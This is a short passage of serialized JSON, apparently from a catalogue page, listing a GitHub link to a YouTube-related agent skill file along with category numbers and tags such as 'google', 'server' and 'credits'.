server.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fyoutube-full\u002FSKILL.md",[199],{"categoryNo":148,"categoryName":149,"taxonomyType":79,"taxonomyTypeDesc":80},[201,127,202,203,128,160,161,204,205,162,163,164,133,206,165,21,29,166,207,139],"youtube full","full","google","server","dlp","credits","automatic"]